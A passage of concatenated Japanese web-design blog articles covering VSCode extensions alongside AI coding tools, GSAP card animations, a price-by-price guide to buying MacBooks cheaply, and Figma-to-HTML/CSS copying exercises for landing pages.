CSSの#ffcc00やrgb(255,200,0)のようなカラーコードを、実際の色でハイライト表示してくれます。 AIで代替できない理由：AIが生成したCSSの色が意図通りかどうかは、人間の目で確認するしかありません。コード上の色を即座に視覚化するこの機能は、デザイン作業で欠かせません。 4. zenkaku｜全角スペースの検出 日本語入力時に紛れ込む全角スペースを赤くハイライトしてくれる拡張機能です。 AIで代替できない理由：AIが生成したコードに全角スペースが混入することは稀ですが、自分で書いたコメントや文字列リテラルには紛れ込む可能性があります。PHPのパースエラーやJavaScriptの実行時エラーの原因となるため、最終防衛線として残しておくべきです。 5. indent-rainbow｜インデントの視覚化 インデントのレベルを色分けして表示します。HTMLの入れ子構造やネストの深いCSS・JavaScriptで、現在の階層が一目でわかります。 AIで代替できない理由：AIが正しくインデントされたコードを生成しても、そのコードを読むのは人間です。構造の把握を助ける視覚的なガイドは、コードレビューやデバッグ時に価値を発揮します。 6. vscode-icons｜ファイルアイコンの視認性向上 ファイルの拡張子に応じたアイコンをエクスプローラーに表示します。.php、.css、.jsなどが一目で区別でき、目的のファイルを素早く見つけられます。 AIで代替できない理由：ファイルアイコンはエディタのUI層の話であり、AIの領域ではありません。プロジェクトのファイル構成を視覚的に把握するための基本ツールです。 7. Code Spell Checker｜スペルミスの最終チェック 変数名・関数名・コメント内のスペルミスを検出してくれる拡張機能です。 AIで代替できない理由：AIが生成するコードのスペルは基本的に正確ですが、自分で名付けた変数名やコミットメッセージのスペルまではチェックしてくれません。特に英語のクラス名やAPI名のタイポは、コードレビューでも見落としやすいため、自動検出の安全網として残す価値があります。 注目のAIコーディングツール比較【2026年版】 VSCode拡張機能の代替として注目されるAIコーディングツールを比較します。それぞれ特徴が異なるため、用途に応じた選択が重要です。AIコーディングのプロンプト基礎を押さえておくと、どのツールでも効率が上がります。 ツールタイプVSCodeとの関係価格強みGitHub Copilotコード補完VSCode拡張機能として動作月額$10〜既存のVSCode環境をそのまま活用可能CursorAIネイティブエディタVSCodeフォーク（既存拡張機能も使える）無料〜月額$20AIとエディタが深く統合。プロジェクト全体を理解したコード生成WindsurfAIエージェント型エディタVSCodeフォーク無料〜月額$15AIフローによる自律的なコーディング支援Claude CodeターミナルAIエージェントVSCodeと併用（ターミナルで動作）Max $100〜/月 or API従量課金ファイル横断の大規模な変更や、テスト・デプロイまで一貫して実行 どのツールを選ぶべきか？ VSCodeの環境を変えたくない人：GitHub Copilotが最も導入コストが低い AIを中心にコーディングしたい人：CursorまたはWindsurfに移行がおすすめ 大規模なリファクタリングやプロジェクト構築をAIに任せたい人：Claude Codeが最も強力 いずれのツールを使う場合でも、AIを使う側の判断力が成果を左右します。AIが生成したコードをそのまま使うのではなく、品質を見極める目を持つことが重要です。 ### [GSAPカードアニメーション実装ガイド｜フリップ＆スタック2パターン【CSS＋JS】](https://codequest.work/gsap-card-flip-stack-animation/) WebサイトやアプリのUIに「くるっ」とした動きが加わるだけで、体験は一気にリッチになります。今回は、JavaScriptアニメーションライブラリ GSAP（GreenSock Animation Platform）を使って、カードアニメーションの2つのパターン──「フリップ（回転）」と「スタック（積み重ね）」を構築する方法をご紹介します。 名刺のようなカードがクリックに反応して回転したり、山積みのカードが1枚ずつめくられたり──そんなインタラクティブなUI演出が、GSAPとCSSだけで実装可能です。 この記事で紹介する内容 カード要素がくるっと回転して切り替わるフリップ演出 複数カードが山積みで順番にめくられるスタック演出 前後のカードを入れ替えながらアニメーションする方法 回転軸と方向（transform-origin）の指定方法 ダークモードや立体感を取り入れた今風デザイン クリックボタンで「次へ」「前へ」の切り替えを実装 コードはCodePenにて動作確認できます。 パターン1：カードフリップ（回転アニメーション） デモ（CodePen） See the Pen Ren-e by masakazuimai (@masakazuimai) on CodePen. 回転アニメーションでUIに「躍動感」を カードフリップは、名刺サイズのカードがY軸またはX軸を中心に回転することで、次のカードが「めくられる」ように登場する演出です。 カードそのものが回転して切り替わることで、よりダイレクトでダイナミックな印象を与えることができます。 UI構成と動きの考え方 UIの構造は以下のようにシンプルです。 .card-holder：カード全体を包む領域。perspective を加えて立体的に .card：背景画像付きのカード要素。複数重ねて表示 「次へ」「前へ」ボタンで順番切り替え アニメーションの流れ（次のカード） 手前のカードが X軸に90度 回転して消える DOMの最後に移動して裏側でリセット 回転角 -90度 → 0度 に戻して再登場 前のカードに戻すとき 最後尾のカードを先頭に移動 初期状態で 90度 回転させておく 0度 まで回転して表示 GSAPの .to() や .set() を活用することで、「視覚的には回転しながら切り替わっている」ように見せつつ、実際にはDOMを入れ替えて再利用しているのがポイントです。 回転の起点は「transform-origin」で指定する カードの回転は、transform-origin の設定で表現が大きく変わります。 center bottom：下辺を支点に上に向かって回転（めくる感じ） center top：上辺を支点に下に倒れるような回転 center center：中心からぐるりと回る回転（回転ドア風） 今回は名刺風のカードを「上にめくる」ように演出したかったため、center bottom → 回転 → center top という切り替えを採用しています。 パターン2：カードスタック（積み重ねアニメーション） デモ（CodePen） See the Pen GSAP_Stack_Cards by masakazuimai (@masakazuimai) on CodePen. カードスタックの特徴 「GSAP Stack Cards」は、複数のカードが山積み（stack）されており、それが順番にめくられるようなUIアニメーションです。 名刺サイズの画像カードをスタック表示 「次へ」「前へ」ボタンで順番を切り替え カードは下方向に沈みながらフェードアウト DOM操作でカードの順番を入れ替え、次のカードを手前に表示 ダークモードに調和するスタイリッシュな見た目 動きの仕組み 「次のカード」を押すと、手前のカードが下へ沈むようにスライドし、サイズが縮小、同時にフェードアウトします。そのカードはDOM内で最後尾に回され、次のカードが前面に表示されます。 逆に「前のカード」では、最後尾にいたカードを先頭に持ってきて、上から現れるように表示します。これにより、ユーザーがまるで実際にカードをめくっているような体験が得られます。 UI構成の考え方 親要素である「カードホルダー」の中に複数の .card 要素（画像背景の名刺風ブロック）を入れ、ボタンで前後の入れ替えを制御しています。 入れ替えの操作自体は非常に軽量で、appendChild（後ろへ）や insertBefore（前に戻す）といったDOM操作をGSAPのアニメーションと組み合わせることで、スムーズな体験を実現しています。 2パターンの比較 項目カードフリップカードスタック動きの特徴X軸/Y軸で回転して切り替え下方向にスライド＋フェードアウト視覚的な印象ダイナミック・立体的スムーズ・シネマティックDOM操作appendChild + rotationXappendChild + translateY + scale向いている用途プロフィール・名刺・商品詳細ギャラリー・スライドショー・実績一覧 なぜGSAPを使うのか？ CSSでもtransform: rotateX()は使えますが、GSAPを使うメリットは圧倒的です。 イージングやタイミングの制御が簡単 複数ステップのアニメーションが連続で記述できる onCompleteイベントでDOM操作と連携しやすい rotationX, rotationY などのプロパティが明確に扱える GSAPは「回転」や「位置変更」などのトランスフォーム系アニメーションに極めて強く、柔軟に拡張しやすいのが特長です。HTML/CSS/GSAPのみで構成されており、VueやReactなどのフレームワークを使わずとも、モダンで洗練されたUIが実装可能です。 ダークモード対応デザイン 今回のデモは以下のデザイン要素を意識して調整しています： 要素スタイル背景色#121212ベースのダークモード仕様カードサイズフリップ: 640px × 400px / スタック: 300px × 480px背景画像picsum.photos のランダム画像ボタングラデーションと影で立体感のあるモダンな配色影と立体感box-shadow, perspective, backface-visibility を活用 背景色とコントラストのある画像カードが浮き上がるように見えるデザインで、今風でモダンなWeb UIに仕上がっています。 応用・拡張アイデア これらのカードアニメーションは、カスタマイズ次第でさまざまな場面に活用できます。 表裏の切り替え（名刺裏表） カードの裏面に transform: rotateX(180deg) を指定し、表面と裏面を front / back クラスで切り替えると、フリップアニメーションになります。「プロフィール表示」「連絡先情報」「商品詳細」などに最適です。 スワイプ操作の追加 GSAPの Draggable プラグインを使えば、マウスドラッグやタッチ操作でカードをスワイプしてめくることも可能です。スマホ対応を視野に入れるなら、UX向上につながる重要な要素です。 タイムライン管理と自動再生 複数のアニメーションを連続して発火させるなら、gsap.timeline() を使うと管理がしやすくなります。また、setInterval を使って自動でカードを切り替えることで、スライドショー的な表現にも応用できます。画像ギャラリーやバナー演出に適しています。 実務や学習にどう活かせるか？ このアニメーションは、ポートフォリオやUI演出に非常に有効です。 たとえば以下のような場面で使えます： 制作実績のビジュアル一覧 サービス紹介のフェードスライド EC商品の立体風ギャラリー 採用ページのメンバーカード また、CSSとJavaScriptの連携、GSAPのタイムライン制御、DOMの再配置処理など、実務的なコードの書き方を学ぶ教材としても適しています。 まとめ｜GSAP × カードアニメーションでUIをアップグレード 今回紹介した「カードフリップ」と「カードスタック」は、GSAPとCSSを使って比較的シンプルな構成で実装できます。 フリップ：X軸回転で「めくる」動きを表現。名刺やプロフィールカードに最適 スタック：スライド＋フェードで「重なったカードをめくる」体験。ギャラリーや実績一覧に最適 GSAPはスムーズなアニメーション表現を得意としており、タイミング制御やDOMとの連携も柔軟です。ちょっとした見た目の工夫で、ユーザー体験をアップグレードできる強力なツールと言えるでしょう。 まずは今回のサンプルをベースに、自分なりのレイアウトや演出にアレンジしてみてください。 よくある質問（FAQ） Q. GSAPでカードフリップアニメーションを作る方法は？ カードの表面と裏面をそれぞれ別のdiv要素で作成し、backface-visibility: hiddenを両方に設定します。裏面にはtransform: rotateY(180deg)を初期値として設定し、GSAPのgsap.to()でparent要素のrotateYを0から180に変化させます。perspective属性を親要素に設定することで、自然な3D回転が表現されます。 Q. カードスタックアニメーションとは？ 複数のカードが重なった状態から、スクロールやクリックに応じて一枚ずつ表示・移動するアニメーション演出です。z-indexとtransformを組み合わせ、最前面のカードをスワイプで飛ばすTinder風のUI、またはスクロール連動で順番にフリップするプレゼンテーション風のUIとして実装されます。 関連記事 本のようなページめくりUIを実装する方法｜ドラッグ操作で自然な操作感を作る GSAPアニメーションをコピペで使える無料ツール｜ScrollTrigger対応100種 ### [【2026年版】MacBookを安く買う方法5選｜学割・整備済・セールを実売価格で比較](https://codequest.work/macbook-buying-guide-webdesign/) Web制作用にMacBookを買おうと調べ始めると、学割・整備済製品・セール・中古と選択肢が並び、結局どれが一番安いのか分からなくなります。しかも紹介されている割引額は「1万円前後」「数万円お得」といった曖昧な表現ばかりで、いま目の前にある価格が妥当なのかを判断できません。 MacBookの本体価格を下げる手段には上限があります。Apple公式が金額として明示している最大の値引きは、認定整備済製品の「最大15%引き」です。学割は2026年8月2日時点の実測で5.0〜12.5%、期間限定キャンペーンで配られるApple Gift Cardは規約上「その後の購入に使えるもの」であって本体価格の値引きではありません。つまり支払額が定価の85%を下回っていれば、Appleのルートで到達しうる下限にほぼ届いているということです。 この記事では、5つの購入ルートの値引き幅を2026年8月2日にApple公式サイトから取得した実数で並べ、最後に「買う直前に自分で3分で検算する手順」まで用意しました。価格は動くので、記事の数字をそのまま信じるのではなく、自分で開いて確かめられる形にしてあります。 結論：MacBookの値引きには「定価の15%オフ」という天井がある 先に結論を置きます。MacBookを安く買うルートは複数ありますが、Appleが「割引率」として公式に数字を出しているのは認定整備済製品だけです。 Apple認定整備済製品はすべて、完全な動作テストを含む厳格なプロセスで再整備を受けており、最大15%引きの特別価格で購入できます。 出典：Apple「認定整備済製品を選ぶ理由」（Apple公式・2026年8月2日取得） もうひとつ、混同しやすい点を先に潰しておきます。初売りや新学期キャンペーンで配られるApple Gift Cardは、本体価格の値引きではありません。2026年の「新学期を始めよう」キャンペーン規約には次のように書かれています。 プロモーション製品は、その後のご購入にのみご利用いただけるものであり、「贈答品」ではありません。 出典：Apple「2026年高等教育機関用プロモーション 利用規約」（Internet Archive 2026年3月7日時点のスナップショット・2026年8月2日取得） したがって「支払う現金を減らす」という意味で効くのは、整備済製品と学割と外部販売店のセールです。ギフトカードはApple製品を今後も買い続ける人にとってだけ値引きに近い価値になります。この違いを押さえておくと、比較のときに数字が混ざりません。 まず現在地を確認する：2026年8月2日時点のMacBook新品価格 値引き率を語る前に、基準になる定価を押さえます。以下はApple公式ストアの各購入ページから、2026年8月2日に取得した最小構成の価格です。 モデル（最小構成）チップ / コア構成メモリ・ストレージ価格MacBook Neo（13.0インチ）A18 Pro / 6コアCPU・5コアGPU8GB / 256GB119,800円MacBook Air 13インチM5 / 10コアCPU・8コアGPU16GB / 512GB224,800円MacBook Air 15インチM5 / 10コアCPU・10コアGPU16GB / 512GB264,800円MacBook Pro 14インチM5 / 10コアCPU・10コアGPU16GB / 1TB339,800円 ここで押さえておきたいのは、最安のMacBook Neoはメモリ8GBで、購入ページに増設オプションが用意されていないことです。ストレージは256GBと512GBの2択で、色域はsRGB。一方でMacBook Airは16GBから始まり24GB・32GBに増やせて、ディスプレイは広色域（P3）です（MacBook Neoの仕様／MacBook Airの仕様・いずれも2026年8月2日取得）。安いモデルは、安いなりに何かを外して価格を作っています。 どの構成を選ぶべきかという判断そのものは本記事の担当範囲外です。用途別のスペックの決め方はWeb制作に必要なパソコンスペックの選び方で整理しているので、構成が決まっていない場合は先にそちらを読んでから戻ってきてください。本記事は「構成が決まった前提で、どのルートで買うと一番安いか」だけを扱います。 価格は改定されます。上の表は取得日時点の記録なので、実際に買うときはApple公式のMacBook購入ページを自分で開いて確認してください。Apple以外の販売店で今いくらで出ているかは、こちらから確認できます。 ▶ 楽天市場でMacBookを探す 方法1：Apple教育ストア（学割）— 対象者を正確に把握する Apple教育ストア（学生・教職員向けストア）は、対象者であれば誰でも常時使える値引きです。ただし対象者の範囲は多くの記事が書いているものとずれています。ここを間違えると、レジまで進んでから買えないことに気づきます。 対象になる人・ならない人 Apple公式のMacページに付いている脚注が、対象者の定義です。 大学、高等専門学校、専門学校の学生、これらの学校に進学が決まった生徒、大学受験予備校生、その保護者の方の代理購入に加えて、教育機関の教職員の方々などが対象です。 出典：Apple「Mac」ページ脚注（Apple公式・2026年8月2日取得）。さらに詳しい列挙が、2026年の教育向けキャンペーン規約にあります。 大学・高等専門学校・専門学校の学生 上記の教育機関への入学許可を得て進学が決定した生徒 小・中・高・大学・専門学校の教職員 PTAの役員として活動中、もしくは選出され活動が決定した方 大学受験予備校生および教職員（0120-994-994への電話購入・身分証の提示が必要） この列挙から読み取れる、間違えやすい3点を挙げます。 一般の高校生は対象外です。「高等専門学校」は高専のことで、高校とは別の学校種です。ただし大学・高専・専門学校への進学が決まった生徒は対象になります。 高校の教職員は対象です。生徒は対象外なのに教職員は対象という非対称があります。小・中学校の教職員も同様です。 保護者は「代理購入ができる」だけです。保護者自身が対象者になるわけではありません。保護者本人が対象者として買えるのは、PTA役員として活動している場合です。 割引額はモデルによってかなり違う 「学割は1万円前後」という説明をよく見かけますが、実測すると幅があります。以下は通常ストアと学生・教職員向けストアの同一構成の価格を2026年8月2日に突き合わせた結果です。 モデル・構成通常価格学生・教職員価格差額割引率MacBook Neo 256GB119,800円104,800円15,000円12.5%MacBook Neo 512GB137,800円122,800円15,000円10.9%Air 13インチ 8コアGPU224,800円206,800円18,000円8.0%Air 13インチ 10コアGPU242,800円223,000円19,800円8.2%Air 15インチ264,800円246,800円18,000円6.8%Pro 14インチ339,800円322,800円17,000円5.0% 出典：Apple通常ストアおよびApple学生・教職員向けストアの価格データ（2026年8月2日取得。メモリ・ストレージ構成は各行で同一） 読み取れる傾向は2つです。差額の絶対値は15,000〜19,800円の狭い範囲に収まっている一方で、本体価格が高いモデルほど割引率は下がります。Pro 14インチは差額こそ17,000円ありますが、率にすると5.0%しかありません。「学割があるからProにする」という判断は、率で見ると割に合いにくいということです。 学割は整備済製品には上乗せされない 「学割で整備済製品を買えば最強」という組み合わせを期待する人がいますが、これは成立しません。 教育向けの整備済製品ページと一般向けの整備済製品ページを2026年8月2日に両方取得し、ページに埋め込まれた構造化データから製品コード単位で価格を突き合わせました。掲載されていた171製品すべてで価格が完全に一致し、差があるものは1件もありませんでした。 つまり整備済製品を選んだ時点で、学割による上乗せは効きません。学割か整備済かは「掛け算」ではなく「二択」だと考えてください。 方法2：Apple認定整備済製品 — 上限15%オフと1年保証 Apple認定整備済製品は、返品や整備を経た製品をApple自身が再販売しているものです。Apple以外の販売店では扱っていません。Amazonや楽天で「Apple整備済」と書かれた出品を見かけても、それはApple認定整備済製品ではありません。買えるのはApple公式の整備済製品ページだけです。 実際にどれだけ安くなるのか（構成一致の実測） 整備済製品は商品ページに構成が細かく書かれているため、新品と1対1で突き合わせられます。2026年8月2日時点で、構成が完全に一致する組み合わせが取れました。 項目内容対象モデル15インチMacBook Air / M5・10コアCPU・10コアGPU / 16GBメモリ / 512GB SSD新品価格264,800円整備済価格223,800円（2026年3月発売モデル）差額・割引率41,000円・15.5%オフ Apple公式の「最大15%引き」という表記が、実際にそのとおりの数字で出ていることが確認できます。逆に言えば、これがApple公式ルートで得られる値引きの上限です。 ただし整備済ページの在庫は入れ替わりが激しく、狙った構成が常にあるわけではありません。整備済製品の商品説明にはメモリとSSD容量が明記されている個体と、そうでない個体があります。構成が書かれていない個体を新品と比べても割引率は算出できないので、比較するときは必ずメモリ・SSD・発売年の3点が一致しているかを確認してください。 保証されること・保証されていないこと 保証内容はApple公式が明記しています。 Appleでは、すべてのApple認定整備済製品に1年間のハードウェア製品限定保証をつけることでこの品質保証を確固たるものとしています。また、お客様はAppleCare製品を購入して保証を延長することもできます。 一方で、見落とされやすい注意点があります。同じページには「整備済iOSデバイスには、新しいバッテリーと外装が搭載されています」と書かれていますが、これはiOSデバイス（iPhoneやiPad）についての記述であって、Macが含まれるとは書かれていません。Macの整備済製品でバッテリーが新品に交換されているとは公式に明言されていない、と理解しておくのが正確です。新品同等の外観と1年保証は付くが、バッテリーの状態は個体次第、という前提で選んでください。 方法3：Appleの期間限定キャンペーンを待つ Appleは年に2回、大きなキャンペーンを実施しています。直近の実績を一次ソースで確認したものが以下です。 キャンペーン直近の実績期間Macに対する還元対象ストアAppleの初売り2026年1月2日〜1月5日最高38,000円分のApple Gift Card（金額は製品による）Apple直営・Apple公式オンライン新学期を始めよう2026年1月29日〜4月8日MacBook Pro / MacBook Air / iMac購入で24,000円分のApple Gift Card直営Apple Store・学生教職員向けストア・0120-994-994 出典：Apple Store（Internet Archive 2026年1月3日時点）および前掲の教育向けキャンペーン規約（いずれも2026年8月2日取得） これらは過去の実績であって、来年の開催や条件を保証するものではありません。 ### [Figma模写 #5：山と自然をテーマにした中級レイアウトに挑戦！](https://codequest.work/figma-mosha-5-mountain-layout/) Figma模写シリーズ第5弾は、山・登山・ハイキングをテーマにした縦長ランディングページの模写に挑戦します。 大自然の写真を大胆に使った背景演出や、ナンバリング付きのセクション構成など、中級レベルにふさわしい見た目と構造のバランスが魅力のデザインです。 今回のFigmaデザイン見本 Figma 今回の模写対象は、以下のような構成を持つシンプルかつ美しいLPデザインです。 ヒーロービジュアル（全面画像＋キャッチコピー） 3つのセクション（左右交互の画像＋テキスト） 大きなナンバリング（01/02/03）の演出 フッター（会社紹介・リンク） 特にナンバリングや写真の配置バランスが美しく、視覚的に魅せるUI構成を学ぶのに最適な題材です。 模写ルールと前提条件 項目内容使用技術HTML / CSS（JS不要）難易度中級デバイス対応レスポンシブは任意（PCメイン）アニメーション自由に追加OKJS機能実装なし（ページ内スクロールナビなどは任意で） 💡補足：JSを使わなくても、セクションの構造・見た目・余白バランスに集中することで十分に完成度の高い模写が可能です。アニメーションやセクションスクロールは拡張として各自実装してもOKです！ HTML/CSSの構成と全体設計 今回の構成は、以下のようにHTMLセクションを設計しています。 セクション構成 <header class="hero"> 　– 背景画像／中央テキスト／ナビゲーション <section class="feature-01"> 　– 左テキスト＋右画像＋「01」のナンバリング <section class="feature-02"> 　– 右テキスト＋左画像＋「02」のナンバリング <section class="feature-03"> 　– 左テキスト＋右画像＋「03」のナンバリング <footer> 　– フッター情報（会社情報・ブログリンクなど） セクションごとの実装ポイント Heroセクション background-image＋background-size: cover テキストの中央揃えにはflexboxとtext-align: center ナビゲーションは上部固定でもOK 各コンテンツセクション（01〜03） display: flex で左右に分けた2カラム 奇数・偶数セクションでflex-directionを切り替え position: absolute;でナンバリング「01」「02」などを背景に配置 z-indexとopacityで番号を装飾的に見せる フッター テキストのみのシンプルな構成 サイトリンクと著作権表示をflexで整理 レスポンシブ対応の工夫（任意） セクションの左右並びを縦並びに変更（スマホ用） ナンバリングの位置変更（小さくして上部などに移動） Hero画像のトリミング調整と文字サイズ縮小 アニメーションは自由に追加OK！ 以下のようなアニメーションを加えることで、よりダイナミックな仕上がりにできます。 セクションごとのスクロールフェードイン ナンバリングのフェードアップ hover時の画像拡大や影付け ライブラリを使う場合： ScrollReveal.js / AOS.js GSAP（上級者向け） CSSアニメーションのみでもOK おわりに：静的な美しさを追求する模写 この模写は、JSや複雑なインタラクションがない分、 配置バランス レイアウトの設計力 タイポグラフィの意識 コンポーネントの再利用性 などコーディングの基礎＋デザインの再現性を問われる練習に最適です。 デザインの再現力を高めたい方、模写経験を積みたい方におすすめの一題です！次回はレスポンシブやJSを含む構成にも挑戦していきましょう。 よくある質問（FAQ） Q. 自然をテーマにしたデザインレイアウトの特徴は？ アースカラー（グリーン・ブラウン・ベージュ）を基調とした配色・大きな風景写真の使用・丸みのあるシェイプ（border-radius）・手書き風フォントのアクセント使いが特徴です。余白を十分に取り、静かで落ち着いた印象を与えるデザインが多く、CSSのobject-fitでの画像配置やoverflowを使った切り抜き表現がポイントです。 Q. Figma模写の中級レベルに挑戦する目安は？ ヘッダー・フッター・カードレイアウトの模写を各2〜3件完成させ、Flexboxでの横並びレイアウトとCSS Gridでの2カラム以上の配置が自力で組めるレベルが目安です。デベロッパーツールで余白やフォントサイズを確認しながらの実装が習慣になっていれば、中級レベルのLP全体模写に取り組めます。 ### [Figma模写 #4：旅行サービス系UIを再現！上級者向けレイアウトに挑戦](https://codequest.work/figma-mosha-4-travel-ui-layout/) Figma模写シリーズ第4弾は、旅行・観光系のWebサービスをテーマにした本格的なUI構成に挑戦します。 構造は一見シンプルに見えますが、検索フォームやセクションごとのカードUIなど、設計・再現ともに高いスキルが求められる上級者向けの内容です。 今回のFigmaデザイン見本 今回の模写対象は、以下のようなセクションで構成された旅行情報系サービスサイトのトップページです。 Figma 宇宙を背景にしたヒーロービジュアル 条件を絞って検索できるUI（ロケーション／日付／アクティビティ） 人気の観光地・ホテル・アクティビティなどを紹介するカードUI 「Travel Tips」や「About Us」などの読み物系セクション 最下部にはCTA付きのフォームとフッター このようなUIは、実際の観光予約サイトや地域紹介ポータルでもよく見られます。 模写ルールと前提条件 項目内容使用技術HTML / CSS（JS不要・任意）難易度上級デバイス対応レスポンシブ対応あり（PC/SP）アニメーション任意で自由に追加OKその他再利用可能な構造と設計を重視 💡補足：今回はフォーム入力や検索機能自体は実装せず、見た目・レイアウト再現を中心とした静的コーディングに集中します。スライダーやフィルターなどの動的UIは、必要に応じて各自で実装を追加してください。 HTML/CSSの構成と全体設計 本模写では以下のような構成でHTMLを組み立てました。 セクション一覧 <header id="hero"> – ナビゲーション／Heroビジュアル／検索フォーム </header> <section id="destinations"> – 人気の観光地カード（横スクロール） </section> <section id="hotels"> – ホテル紹介（星評価・国名付きカード） </section> <section id="tips"> – Travel Tips（テキスト重視） </section> <section id="activities"> – アクティビティ（スポーツ別カード） </section> <section id="about"> – About Us（テキスト＋画像） </section> <footer> – サイトリンク＋メルマガ登録フォーム </footer> セクションごとの実装ポイント Heroセクション background-imageで地球の宇宙写真を再現 中央にタイトル＋ボタン フォーム部分はflex＋select/input/button構成 box-shadowやborder-radiusでUI感を演出 Destinations / Hotels / Activities 画像付きのカードをグリッドやスライダー風に配置 display: gridまたはscroll-snapによる横スクロール レビュー評価（★）や国名を小要素として重ねる Travel Tips カードの高さ不揃いへの対応 テキスト量の制御（line-clampなど） Aboutセクション 2カラム構成（テキスト＋画像） レスポンシブ時は縦並びに切り替え フッター サイトマップリンク、SNSアイコン メールアドレス入力フォーム（フォーム＋ボタン） レスポンシブ対応の工夫（任意） このデザインでは、ブレイクポイントごとに複雑な再配置が発生します。 1200px以上：グリッド3列 768px〜：2列に変更＋フォーム幅調整 480px以下：縦並び、カードサイズ自動拡張 また、min-widthの活用やclamp()関数を使うと、文字サイズや余白のコントロールがより柔軟になります。 アニメーションは自由に追加OK！ 以下のような要素にアニメーションを加えることで、より実務的な仕上がりにできます。 スクロール時のカード表示（Intersection Observer, AOS.js） ホバーでのカード拡大やシャドウ（CSS） フォームボタンのトランジション セクション間のフェードイン おわりに：再現だけでなく、設計力も問われる模写 今回の模写は、単にデザインを再現するだけでなく、 コンポーネント設計 グリッドレイアウトの柔軟な扱い フォームUIの扱い レスポンシブ設計と視覚調整 といった実務でも重要なスキルを総合的に問われる内容でした。 完成度よりも、構造を理解して再現しようとする力を鍛えることが目的です。余裕がある方は、JavaScriptによるフォーム機能やスライダー、アニメーションもぜひ追加してみてください！ よくある質問（FAQ） Q. 旅行サービス系UIの模写で身につくスキルは？ カード型レイアウト・検索フォームのUI設計・画像ギャラリー・レビュー/評価コンポーネントなど、ECサイトやサービスサイトで多用されるUIパターンの実装スキルが身につきます。CSS Gridでのカードグリッド配置、Flexboxでのフォームレイアウト、hover時のインタラクション実装が主な学習ポイントです。 Q. 上級者向けレイアウト模写のコツは？ 全体のHTML構造設計から始め、セクション→コンポーネント→要素の順にトップダウンで実装します。レスポンシブ対応はモバイルファーストで組み、min-widthのメディアクエリで拡張します。完成度を高めるには、ホバーエフェクト・フォーカス状態・トランジションなどの細部の仕上げが重要です。 ### [Figma模写 #3：音楽系ランディングページをHTML/CSSで再現してみよう](https://codequest.work/figma-mosha-3-music-landingpage/) Figma模写シリーズ第3弾は、アーティストのプロモーションサイトを想定した音楽系ランディングページに挑戦します。 視線を惹きつける大胆なヒーロー画像、ストリーミングサービスの導線、シンプルなフォーム、バンドツアー告知まで、シンプルな構成ながらも“魅せる技術”が求められるデザインです。 今回のFigmaデザイン見本 今回の模写対象は、次のような構成を持つアーティストLPデザインです。 Heroセクション（大きな人物写真＋SNSリンク） アルバム紹介セクション（テキスト＋配信サービスアイコン） ミュージックビデオ紹介（画像＋ボタン） メール登録フォーム（名前・メールアドレス） BANDINTOWNプラグイン風エリア フッター（コピーライト・SNS） カラーは濃紺 × 白 × アクセントブルー、フォントはゴシック系の太字と可読性の高いテキストが使われています。 Figma 模写ルールと前提条件 項目内容使用技術HTML / CSS（JS不要）難易度準中級デバイス対応PCメイン（レスポンシブは任意）アニメーション自由に実装OK（フェードインなど）その他動画再生や動的フォームは実装対象外 💡補足：Heroセクションの色味はbackground-blend-modeやfilter: grayscale + contrastを組み合わせて再現できます。アニメーションやスライダーは各自で自由に拡張してOKです！ HTML/CSSの構成と設計方針 本模写では以下のような構成を意識して作成しました。 セクション構成 <header class="hero"> 　– 背景画像＋アーティスト名＋SNSリンク <section class="album"> 　– アルバム紹介テキストと各種配信サービスのロゴ <section class="music-video"> 　– 画像と動画紹介用リンクボタン <section class="subscribe"> 　– 名前とメールのフォーム（静的） <section class="band"> 　– BANDINTOWNなど外部情報表示用のエリア <footer> 　– コピーライトとSNSリンク セクションごとの実装ポイント Heroセクション background-image＋linear-gradientで色味調整 z-indexとpositionでテキストの重なりを制御 SNSリンクはアイコンフォントやSVGで再現可能 アルバム紹介セクション 2カラム構成（左：テキスト、右：動画サムネ） ストリーミングアイコンを横並びに配置 ミュージックビデオセクション ボタンの位置調整、ホバー時のカラー変化 スマホでは縦並びに切り替え可 メール登録フォーム 名前／メールアドレス／ボタンを中央揃えで配置 inputの見た目調整にpadding／border-radius BANDINTOWN風セクション background-color＋テキストのみで再現可 大きな文字を中央に配置 フッター アイコンは横並びで配置 小さなフォントと余白でバランス調整 レスポンシブ対応（任意） 必要に応じて、以下のような対応を追加しましょう。 768px以下でHero画像のトリミングやフォントサイズ調整 アルバム・MVセクションは縦並びに切り替え フォーム幅を狭める、SNSリンクを中央寄せに アニメーションは自由に追加OK！ 模写の目的はHTML/CSSの構造理解ですが、アニメーションや動きを加えることでより魅力的に仕上がります。 以下のようなライブラリ・APIの利用もおすすめです： AOS.js / ScrollReveal.js（スクロールアニメーション） GSAP（自由な動き） CSS transition / animation（ボタンやリンクのエフェクト） おわりに：構造理解と“魅せるUI”の両立を目指して 今回のFigma模写は、初級を卒業した方向けの「構造＋見せ方の練習」に最適です。 HTML/CSSだけでも十分に再現性が高く、なおかつ「どこにどれだけ余白を取るか」「フォントに強弱をつける」といったUI設計の本質が学べる内容になっています。 よくある質問（FAQ） Q. 音楽系LPの模写で学べるデザインスキルは？ ダークテーマのカラーリング・グラデーション背景・大胆なタイポグラフィ・動画やイメージの全面配置など、エンターテインメント系デザインの表現技法が学べます。CSSのbackground-blend-modeやtext-shadowを使った演出、Flexboxでのセンタリングレイアウトなど、実務でも応用できるスキルが身につきます。 Q. Figmaからコーディングする際のコツは？ まずFigmaのデザインを上から下へセクション単位で分割し、各セクションのHTML構造を先に組み立てます。次にFigmaのインスペクトパネルからフォントサイズ・色・余白・間隔の数値を正確に読み取り、CSSに反映します。ピクセルパーフェクトにこだわりすぎず、8pxグリッドに丸めて実装するのが実務的なアプローチです。 ### [Figma模写 #2　建築系ポートフォリオの余白と画像比率を再現する](https://codequest.work/figma-mosha-2-architecture-layout/) Figma模写 #2 は、建築系ポートフォリオの見本から「写真の比率」と「余白の取り方」を読み取り、画面幅が変わっても崩れないレイアウトに落とす課題です。装飾がほとんど無いので、出来を決めるのは配色でもアニメーションでもなく、余白と写真の比率だけになります。 作るのはHTMLとCSSだけで、スライダーやアニメーションは実装しません。そのぶん「見本に似ている」ではなく「幅を変えても比率と余白が保たれる」で合否を判定できるところまで踏み込みます。判定方法は後半にまとめました。 項目内容難易度準中級所要時間約3〜4時間（実装量から見積もった目安。計測値ではありません）使う技術HTML / CSS Grid / Flexbox（JavaScriptなし）見本Figmaデザインファイル「準中級」（ログインなしで閲覧可・インスペクトは要サインアップ）この課題の主題大きな余白と、写真の比率を固定することゴール幅を変えても比率と余白が保たれているかを、自分で判定できる状態 Figmaの見本を開く（どこまで見られるか） 見本のデザインファイルは以下から開けます。 Figmaで見本を開く 2026年8月2日に実ブラウザで開いて確認したところ、状況は次のとおりでした。 